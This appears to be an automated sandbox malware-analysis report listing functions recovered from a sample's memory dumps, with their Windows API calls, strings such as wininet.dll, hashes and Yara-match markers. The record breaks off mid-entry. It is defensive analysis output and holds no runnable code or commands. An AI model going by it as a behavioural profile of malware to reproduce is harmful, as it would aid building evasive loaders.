Function 01FB07AC, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01FB07B7

Memory Dump Source

Source File: 00000007.00000002.2372798455.0000000001FA0000.00000040.00000001.sdmp, Offset: 01F90000, based on PE: true

Associated: 00000007.00000002.2372792649.0000000001F90000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372914914.0000000002080000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372921238.0000000002090000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372926415.0000000002094000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372933184.0000000002097000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372938547.00000000020A0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372970807.0000000002100000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction ID: cdb92b4df541c6703467cf01e2fb590a315ac15b2f911c24ec3250dccee83ae6
Opcode Fuzzy Hash: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction Fuzzy Hash: 64B01272200540C7E3099724D906B4B7310FB80F00F008D3AE04781892DB78992CD487

Uniqueness

Uniqueness Score: -1.00%

Function 01FAF9F0, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01FAF9FB

Memory Dump Source

Source File: 00000007.00000002.2372798455.0000000001FA0000.00000040.00000001.sdmp, Offset: 01F90000, based on PE: true

Associated: 00000007.00000002.2372792649.0000000001F90000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372914914.0000000002080000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372921238.0000000002090000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372926415.0000000002094000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372933184.0000000002097000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372938547.00000000020A0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372970807.0000000002100000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction ID: 864711eabb7dc0f9c0a00528bc7204798e3bbfe8ecaf20bba7921b9fd7ea0c89
Opcode Fuzzy Hash: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction Fuzzy Hash: B8B012B2200640C7F3199714D90AF4BB310FBD0F00F00CA3AA00781890DA3C992CC44A

Uniqueness

Uniqueness Score: -1.00%

Function 01FAF900, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01FAF90E

Memory Dump Source

Source File: 00000007.00000002.2372798455.0000000001FA0000.00000040.00000001.sdmp, Offset: 01F90000, based on PE: true

Associated: 00000007.00000002.2372792649.0000000001F90000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372914914.0000000002080000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372921238.0000000002090000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372926415.0000000002094000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372933184.0000000002097000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372938547.00000000020A0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372970807.0000000002100000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8dbcbf5a4d7b7f1c08d6b628364f414bd548082eea0b37b51084cc01ff771fa2
Instruction ID: 05ac91611fc184a3f88202f4b9a2f722369f22817df951cee1fa85cf63676e78
Opcode Fuzzy Hash: 8dbcbf5a4d7b7f1c08d6b628364f414bd548082eea0b37b51084cc01ff771fa2
Instruction Fuzzy Hash: A2B01272605540C7F30ADB04D915B467251FBC0F00F408934E50746590D77D9E38D587

Uniqueness

Uniqueness Score: -1.00%

Function 01FAFBB8, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01FAFBC3

Memory Dump Source

Source File: 00000007.00000002.2372798455.0000000001FA0000.00000040.00000001.sdmp, Offset: 01F90000, based on PE: true

Associated: 00000007.00000002.2372792649.0000000001F90000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372914914.0000000002080000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372921238.0000000002090000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372926415.0000000002094000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372933184.0000000002097000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372938547.00000000020A0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372970807.0000000002100000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction ID: 98b7ab4c3374ce945d87304c272764997da5ea40185bb6170513ade09291bf69
Opcode Fuzzy Hash: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction Fuzzy Hash: 97B012721005C4C7E30D9714D906B8F7210FB80F00F00893AA40782861DB789A2CE45A

Uniqueness

Uniqueness Score: -1.00%

Function 01FAFB68, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01FAFB73

Memory Dump Source

Source File: 00000007.00000002.2372798455.0000000001FA0000.00000040.00000001.sdmp, Offset: 01F90000, based on PE: true

Associated: 00000007.00000002.2372792649.0000000001F90000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372914914.0000000002080000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372921238.0000000002090000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372926415.0000000002094000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372933184.0000000002097000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372938547.00000000020A0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372970807.0000000002100000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction ID: fe3894545e6d7ff35e2d014bd1b41c27fc981d7cba2425ddd0908e3dd582fca9
Opcode Fuzzy Hash: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction Fuzzy Hash: 17B01272100544C7E3099714D906B8B7210FB80F00F008E3AA04782991DB78992DE446

Uniqueness

Uniqueness Score: -1.00%

Function 01FAFB50, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01FAFB5B

Memory Dump Source

Source File: 00000007.00000002.2372798455.0000000001FA0000.00000040.00000001.sdmp, Offset: 01F90000, based on PE: true

Associated: 00000007.00000002.2372792649.0000000001F90000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372914914.0000000002080000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372921238.0000000002090000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372926415.0000000002094000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372933184.0000000002097000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372938547.00000000020A0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372970807.0000000002100000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 445a353fbf322f74478a6659fdc04cf8623378f6e443218e16a25411f5af12d5
Instruction ID: 24e1bc86294fbd7a1654c33a96a754a721993c998c3fcb69f8e89524a52cb594
Opcode Fuzzy Hash: 445a353fbf322f74478a6659fdc04cf8623378f6e443218e16a25411f5af12d5
Instruction Fuzzy Hash: 54B01272201544C7E3099B14D906F8B7210FB90F00F00893EE00782851DB38D92CE447

Uniqueness

Uniqueness Score: -1.00%

Function 01FAFAE8, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01FAFAF3

Memory Dump Source

Source File: 00000007.00000002.2372798455.0000000001FA0000.00000040.00000001.sdmp, Offset: 01F90000, based on PE: true

Associated: 00000007.00000002.2372792649.0000000001F90000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372914914.0000000002080000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372921238.0000000002090000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372926415.0000000002094000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372933184.0000000002097000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372938547.00000000020A0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372970807.0000000002100000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction ID: bb22edd625d441e86b4201bf2007cb1784deb073e32f09f3a807e6c8f80ed535
Opcode Fuzzy Hash: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction Fuzzy Hash: ACB01272104544C7F3099714ED06B8B7210FB80F00F00893AA007828A1DB39992CE456

Uniqueness

Uniqueness Score: -1.00%

Function 01FAFAD0, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01FAFADB

Memory Dump Source

Source File: 00000007.00000002.2372798455.0000000001FA0000.00000040.00000001.sdmp, Offset: 01F90000, based on PE: true

Associated: 00000007.00000002.2372792649.0000000001F90000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372914914.0000000002080000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372921238.0000000002090000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372926415.0000000002094000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372933184.0000000002097000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372938547.00000000020A0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372970807.0000000002100000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a3c9a84db5a1b27ba292bbe6ac7156695ca75f7b31983341e9d88d14b699633e
Instruction ID: b885d126f35a04098635745a666b93c7a8e67e4acbf17db3f6051f78ecae7b76
Opcode Fuzzy Hash: a3c9a84db5a1b27ba292bbe6ac7156695ca75f7b31983341e9d88d14b699633e
Instruction Fuzzy Hash: 9AB01273104944C7E349A714DD06B8B7210FBC0F01F00893AA00786851DB389A2CE986

Uniqueness

Uniqueness Score: -1.00%

Function 01FAFAB8, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01FAFAC3

Memory Dump Source

Source File: 00000007.00000002.2372798455.0000000001FA0000.00000040.00000001.sdmp, Offset: 01F90000, based on PE: true

Associated: 00000007.00000002.2372792649.0000000001F90000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372914914.0000000002080000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372921238.0000000002090000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372926415.0000000002094000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372933184.0000000002097000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372938547.00000000020A0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372970807.0000000002100000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8f0c591c5e21216b00dee0cfdb8398dd80d2c6f9bc4c445cb98f30dfaa3fa1de
Instruction ID: c22cab920426f99211259bec297b66dc94c7f77789dfa39603ac798b5fdced38
Opcode Fuzzy Hash: 8f0c591c5e21216b00dee0cfdb8398dd80d2c6f9bc4c445cb98f30dfaa3fa1de
Instruction Fuzzy Hash: 66B01272100544C7E349B714D906B8B7210FF80F00F00893AA00782861DB389A2CE996

Uniqueness

Uniqueness Score: -1.00%

Function 01FAFDC0, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01FAFDCB

Memory Dump Source

Source File: 00000007.00000002.2372798455.0000000001FA0000.00000040.00000001.sdmp, Offset: 01F90000, based on PE: true

Associated: 00000007.00000002.2372792649.0000000001F90000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372914914.0000000002080000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372921238.0000000002090000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372926415.0000000002094000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372933184.0000000002097000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372938547.00000000020A0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372970807.0000000002100000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction ID: d88988b585cc81dca5f800d6bb39f1198a76ae257c125849f4a62a02810904f6
Opcode Fuzzy Hash: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction Fuzzy Hash: 20B01272140540C7E30A9714DA56B4B7220FB80F40F008D3AA04781891DBB89B2CD486

Uniqueness

Uniqueness Score: -1.00%

Function 01FAFD8C, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01FAFD9A

Memory Dump Source

Source File: 00000007.00000002.2372798455.0000000001FA0000.00000040.00000001.sdmp, Offset: 01F90000, based on PE: true

Associated: 00000007.00000002.2372792649.0000000001F90000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372914914.0000000002080000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372921238.0000000002090000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372926415.0000000002094000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372933184.0000000002097000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372938547.00000000020A0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372970807.0000000002100000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction ID: c46011bb0c46dfed5c8ab186c0f719e5b9e72ad0d6ef7da6a0d9d2ed8661a3c9
Opcode Fuzzy Hash: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction Fuzzy Hash: 8FB0927110054087E205A704D905B4AB212FB90B00F808A35A4468A591D66A9A28C686

Uniqueness

Uniqueness Score: -1.00%

Function 01FAFC60, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01FAFC6B

Memory Dump Source

Source File: 00000007.00000002.2372798455.0000000001FA0000.00000040.00000001.sdmp, Offset: 01F90000, based on PE: true

Associated: 00000007.00000002.2372792649.0000000001F90000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372914914.0000000002080000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372921238.0000000002090000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372926415.0000000002094000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372933184.0000000002097000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372938547.00000000020A0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372970807.0000000002100000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction ID: 69502d12976c3e383ebc8ea250e6427301c1fd9f045747c541fd94b810363c34
Opcode Fuzzy Hash: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction Fuzzy Hash: 3AB01277105940C7E349A714DD0AB5B7220FBC0F01F00893AE00781890DA38993CC54A

Uniqueness

Uniqueness Score: -1.00%

Function 01FAFFB4, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01FAFFBF

Memory Dump Source

Source File: 00000007.00000002.2372798455.0000000001FA0000.00000040.00000001.sdmp, Offset: 01F90000, based on PE: true

Associated: 00000007.00000002.2372792649.0000000001F90000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372914914.0000000002080000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372921238.0000000002090000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372926415.0000000002094000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372933184.0000000002097000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372938547.00000000020A0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372970807.0000000002100000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction ID: 7e2af0442ae64c9f6bb8df8c94f4cb17495a0f0e8e42cafe04a2b86fa0e4786e
Opcode Fuzzy Hash: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction Fuzzy Hash: A2B012B2104580C7E3099714D906F4B7210FB90F00F40893EA00F81851DB3CD92CD44A

Uniqueness

Uniqueness Score: -1.00%

Function 01FAFED0, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01FAFEDB

Memory Dump Source

Source File: 00000007.00000002.2372798455.0000000001FA0000.00000040.00000001.sdmp, Offset: 01F90000, based on PE: true

Associated: 00000007.00000002.2372792649.0000000001F90000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372914914.0000000002080000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372921238.0000000002090000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372926415.0000000002094000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372933184.0000000002097000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372938547.00000000020A0000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2372970807.0000000002100000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction ID: 9b30904a3bfeb6814e26683714e5c097bc05a41d35c26203adaeaac906fc0f52
Opcode Fuzzy Hash: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction Fuzzy Hash: C9B01272100580C7E34EA714D906B4B7210FB80F00F408A3AA00781891DB789B2CD98A

Uniqueness

Uniqueness Score: -1.00%

Function 00096ED0, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 90sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000007D0), ref: 00096F78

Strings

net.dll, xrefs: 00096F41, 00096FC7, 00096F9F, 00096FAB, 00096FD3
wininet.dll, xrefs: 00096F2E, 00096F37

Memory Dump Source

Source File: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: 819bee04a7e7d6e057f1c6dcf151a008b2b0b8b0de6c4166cc31338411b0e2c8
Instruction ID: 5db4347087e42a734f46b48b741abacaa776633d3b9bc2b08fdfc74665a15ccb
Opcode Fuzzy Hash: 819bee04a7e7d6e057f1c6dcf151a008b2b0b8b0de6c4166cc31338411b0e2c8
Instruction Fuzzy Hash: 2C318FB1601704ABCB25DF68D8B1FA7B7F8BB48700F00842DF61A9B242D731A945DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00096EC6, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 82sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000007D0), ref: 00096F78

Strings

net.dll, xrefs: 00096F41, 00096F9F, 00096FAB
wininet.dll, xrefs: 00096F2E, 00096F37

Memory Dump Source

Source File: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: 286d9b1285ea19e145054a6e57d500de3367c4c40d47c2cf9c993ce3493d511b
Instruction ID: 3db838d370003cdd83d35d8174f03e9938fe8cf7a72901fcb79833a7b2f5c73f
Opcode Fuzzy Hash: 286d9b1285ea19e145054a6e57d500de3367c4c40d47c2cf9c993ce3493d511b
Instruction Fuzzy Hash: 4021B6B1601300ABDB21DF68DCA1FABBBB4FF48700F10842DF5199B242D371A445DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00096FF3, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,0008CCC0,?,?), ref: 0009703C

Strings

net.dll, xrefs: 00096F9F, 00096FAB

Memory Dump Source

Source File: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: CreateThread
String ID: net.dll
API String ID: 2422867632-2431746569
Opcode ID: 1124d17563cc182dd7add0476d5aeec32f42aa80a321f02dba2ee3572b93fb9c
Instruction ID: 3e2e6d30170e76a1fe4f68f29e8024ceec684c525e61e9a3e086d096a1637e14
Opcode Fuzzy Hash: 1124d17563cc182dd7add0476d5aeec32f42aa80a321f02dba2ee3572b93fb9c
Instruction Fuzzy Hash: 730147732412007ADB319A98DC22FE773A8DBC4720F10406EF61E9B182E772B94597A1

Uniqueness

Uniqueness Score: -1.00%

Function 000984B2, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 28memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,00083B93), ref: 000984ED

Strings

.z`, xrefs: 000984DC, 000984E8

Memory Dump Source

Source File: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: 46e86b664081759a4809455eb36c33255a52f21591b1931af0b913cd27280c6f
Instruction ID: 4b63bcf631478225a830568ce9cb8088a66ab7088cb19e9f3a846f5056668c06
Opcode Fuzzy Hash: 46e86b664081759a4809455eb36c33255a52f21591b1931af0b913cd27280c6f
Instruction Fuzzy Hash: 47E092712402046BDB14DFA5CC44ED73799EF88350F158149FD0C9B351D531E911CAF0

Uniqueness

Uniqueness Score: -1.00%

Function 000984C0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,00083B93), ref: 000984ED

Strings

.z`, xrefs: 000984DC, 000984E8

Memory Dump Source

Source File: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction ID: 328bf0f62db3d8abc1ce4827b1d9d951b4c8beb809e8fbe3683c68d47cc07640
Opcode Fuzzy Hash: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction Fuzzy Hash: 80E01AB12002046BDB14DF59CC45EE777ACAF88750F018554BA0857342CA30E9108AF0

Uniqueness

Uniqueness Score: -1.00%

Function 00087260, Relevance: 3.1, APIs: 2, Instructions: 55threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 000872BA
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 000872DB

Memory Dump Source

Source File: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 53e5322b62eb909e761c59486e91cb807ee3ea7040c4705f1c47c4bf58bd69dc
Instruction ID: 510fcc912754c5bf7b46505b14e642f0217a5f1fce34de7c2b8a5746be955fa1
Opcode Fuzzy Hash: 53e5322b62eb909e761c59486e91cb807ee3ea7040c4705f1c47c4bf58bd69dc
Instruction Fuzzy Hash: 8001A731A802287AEB20B6949C43FFF776C6B00B50F140119FF04BA1C2E694690647F5

Uniqueness

Uniqueness Score: -1.00%

Function 00089B10, Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 00089B82

Memory Dump Source

Source File: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
Instruction ID: cf5d96cfa9e9af59e5533b7ad4aec78180b733f8f6a1309060bc0b03ea090bf5
Opcode Fuzzy Hash: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
Instruction Fuzzy Hash: FB011EB5E4020DABDF10EBE4ED42FEDB3B8AB54308F0441A5E90897242F631EB14DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0009852D, Relevance: 1.5, APIs: 1, Instructions: 43processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNEL32(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 00098584

Memory Dump Source

Source File: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 2d47f2dfe8e3a19b62673b65d27fcc9ccf7019d0fe1f3e8623b589d471756cb0
Instruction ID: 43aa7868e32f2fb9aa7b056f9285c42e5d3e9d30290c101427c793047a8a9aa7
Opcode Fuzzy Hash: 2d47f2dfe8e3a19b62673b65d27fcc9ccf7019d0fe1f3e8623b589d471756cb0
Instruction Fuzzy Hash: 8B01AFB2210108BBCB54DF89DC80EEB77ADAF8C754F158258BA0D97241CA30E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00098530, Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNEL32(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 00098584

Memory Dump Source

Source File: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction ID: c59b42b6632d0895df0417b4e2b9a8becf80424f8c64f19b9aee7e8aff47414d
Opcode Fuzzy Hash: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction Fuzzy Hash: 8101AFB2210108ABCB54DF89DC80EEB77ADAF8C754F158258BA0D97241CA30E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00097000, Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,0008CCC0,?,?), ref: 0009703C

Memory Dump Source

Source File: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 473dbcfab93db6e432a80a17414ec1433c52d710a873f6e391b32a5e11b2618c
Instruction ID: a2835ed8a1f02e86942637865c72b5d80b13372240ffd3b5ea69fe5af6331005
Opcode Fuzzy Hash: 473dbcfab93db6e432a80a17414ec1433c52d710a873f6e391b32a5e11b2618c
Instruction Fuzzy Hash: 9CE06D333902043AE7306599AC02FE7B29C8B81B20F140026FB0DEA2C2D595F90142A4

Uniqueness

Uniqueness Score: -1.00%

Function 000984F2, Relevance: 1.5, APIs: 1, Instructions: 34processCOMMON

Download Yara Rule

APIs

